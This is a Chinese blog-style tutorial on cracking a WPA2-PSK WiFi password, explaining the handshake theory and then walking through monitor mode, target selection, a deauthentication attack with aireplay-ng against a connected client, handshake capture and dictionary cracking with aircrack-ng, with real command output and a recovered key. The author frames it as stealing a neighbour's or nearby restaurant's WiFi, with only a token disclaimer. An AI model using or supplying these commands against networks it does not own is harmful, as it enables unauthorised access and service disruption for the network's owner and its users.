> 本文章仅作为技术学习交流,请不要随意拿邻居开刀。
提前准备#
你需要如下材料
- 一个支持监听的无线网卡设备
- 一个强大的 WiFi 字典
- 一个有 WiFi 的地方
最近流量不够用了,想着偷个网试试,看了一下周边的 WiFi 布局。。
还是有一些 WIFI 设备的,然后开始尝试能不能搞一个来。
技术原理#
WiFi 认证#
大家都知道 WiFi 大略是有四种支持格式的,
1、不启用安全
2、WEP
3、WPA/WPA2-PSK
4、WPA/WPA2 802.1X (radius 认证)
一般我们设置的都是第三种。
WPA-PSK 的认证过程#
1、无线 AP 定期发送 beacon 数据包,使无线终端更新自己的无线网络列表。
2、无线终端在每个信道(1-13)广播 ProbeRequest(非隐藏类型的 WiFi 含 ESSID,隐藏类型的 WiFi 不含 ESSID)
3、每个信道的 AP 回应,ProbeResponse,包含 ESSID,及 RSN 信息
4、无线终端给目标 AP 发送 AUTH 包。AUTH 认证类型有两种,0 为开放式、1 为共享式(WPA/WPA2 必须是开放式)
5、AP 回应网卡 AUTH 包
6、无线终端给 AP 发送关联请求包 associationrequest 数据包 7、AP 给无线终端发送关联响应包 associationresponse 数据包
8、EAPOL 四次握手进行认证(握手包是破解的关键)
9、完成认证可以上网。
WPA-PSK 认证四次握手认证的过程#
WPA-PSK 破解原理#
用我们字典中的 PSK+ssid 先生成 PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端 MAC,AP 的 BSSID,A-NONCE,S-NONCE 计算 PTK,再加上原始的报文数据算出 MIC 并与 AP 发送的 MIC 比较,如果一致,那么该 PSK 就是密钥。
如图所示:
所以还是爆破握手包的方式来获得密码,由于是通过暴力破解方式破解 Wifi 密码,所以你需要下载一些强大的字典,字典可以直接在 Github 上搜索,或者直接 google。
开偷#
启动网卡#
我这里使用的是 Kali,插入无线网卡的时候请选择和虚拟机相连。
ifconfig-a /此命令查看所有网络设备器
如果你的连接没有出错,此时应该会有一张名为wlan0
的网卡设备。
接着使用命令,激活这张网卡,如果不回显则开启成功。
ifconfig wlan0 up
激活网卡为监听(monitor)模式#
airmon-ng start wlan0
同时,你的无线网卡应该会有指示灯之类的亮起(看型号,是否启用成功还是看上图结果)
得到监控模式下的设备名是 wlan0mon,请记住这个名字,后续有用。
探测周围无线网络#
我现在连接的是我自己的手机热点,插入无线网卡后开始嗅探周围的 WIFI 设备。
airodump-ng wlan0mon
查看周边路由 AP 的信息。
个人经验一般信号强度大于 - 70 的可以进行破解,大于 - 60 就最好了,小于 - 70 的不稳定,信号比较弱。(信号强度的绝对值越小表示信号越强)
这里我们将会对 游走老火锅 这个 WiFi 进行攻击,所以我们需要记录下对应的 BSSID
以及 CH
,这两个值分别是 WiFi 唯一标识和信道。 建议选择 PWR
较小的 WiFi,因为这意味着信号较好。
如果要弄懂这些参数都是什么,我贴两张网上的图:
选择要破解的 WiFi,有针对性的进行抓握手包#
airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E
其中的 -c
参数代表了信道号, --bssid
代表此 WiFi 的唯一标识。
执行后等待一会,输出结果如下:
fundamental CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:75:90:9E:29:8E -37 1 89 4294 299 11 270 WPA2 CCMP PSK 203
BSSID STATION PWR Rate Lost Frames Notes Probes
14:75:90:9E:29:8E 48:7D:2E:B3:04:DF -29 0 - 1e 0 7
14:75:90:9E:29:8E E0:DC:FF:DC:5A:89 -40 0 - 0e 817 4259
14:75:90:9E:29:8E 80:ED:2C:10:0D:8A -63 0 -24 0 2
14:75:90:9E:29:8E FA:83:C4:C0:8F:DF -60 0e-24 88 88
从这个输出结果我们可以分析到的数据:
- 当前连接此 WiFi 的设备有 4 台,以及每台设备的唯一标识,发包数等。 下面的四行也就代表了四台设备,我们需要记录 Lost
有变化的设备标识,这里我们选择标识为 E0:DC:FF:DC:5A:89
的设备。
好的,目前我们掌握了几条有用的信息,如下:
WiFi 唯一标识 14:75:90:9E:29:8E
连接 WiFi 的设备之一的标识 E0:DC:FF:DC:5A:89
WiFi 的信道 11
监听握手包#
下面我们需要根据以上信息进行抓包,尝试拿到包含密钥的握手包。
airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
参数说明:-w 保存数据包的文件名 –c 信道 –bssid ap 的 mac 地址 (注意 test.cap 会被重命名),也可以用其他工具抓包比如:wireshark、tcpdump,抓到握手包会有提示。
airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**
PS:我建议使用这条作为监听,–ivs 这里的设置是通过过滤,不再将所有的无线数据保存,而只是保存可用于破解的 IVS 数据报文,这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听,不过滤请求的话会有很多额外的请求,后续的图我将以这条语句作为演示。
监听的时候如果有设备登录成功就会抓到握手包,那么此时客户端不一定有会有登录的包发送给服务端,怎么样去抓到这个带有认证请求的包呢,很简单,强行使客户端断开即可。
执行断网攻击获得握手包#
下面我们需要利用 Aireplay-ng
进行断网攻击,当用户重连 WiFi 时 Airodump-ng
应该就能拿到密钥的数据包了。
aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89
这里的 -0
代表攻击次数,后面的 10 也就是攻击次数、 -a
代表要攻击的 WiFi、 -c
代表要攻击的已连接 WiFi 的设备。
此命令的输出结果如下:
fundamental 23:55:26 Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
23:55:28 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
23:55:29 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
23:55:30 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
23:55:32 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
23:55:34 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
23:55:36 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
23:55:39 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
23:55:41 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
23:55:43 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
23:55:45 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]
如果这种方式多次失败,可以尝试去掉 -c
参数,进行范围打击,对每个设备都进行攻击,这样拿到加密包的机率也会有提升。
当 airodump-ng
那边提示拿到 WPA handshake
即代表拿到加密握手包,也就不需要断网攻击了。
我实践中使用是把整个客户端打掉线让他们重连的。
当这边的 shell 提示 WPA handshake 就说明获取到握手包了,可以停止了。
CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E
字典破解#
下面我们通过准备的字典以及拿到的握手包进行暴力破解。
执行如下命令进行破解
aircrack-ng -w common.txt 203.ivs
-w
是我们的字典, 203-01.cap
是我们拿到的密钥握手包。
我这个运气不错,密码相对简单。
KEY FOUND! [99998888] 即是密码。
最后#
请善待你的邻居,不要随意拿邻居开刀。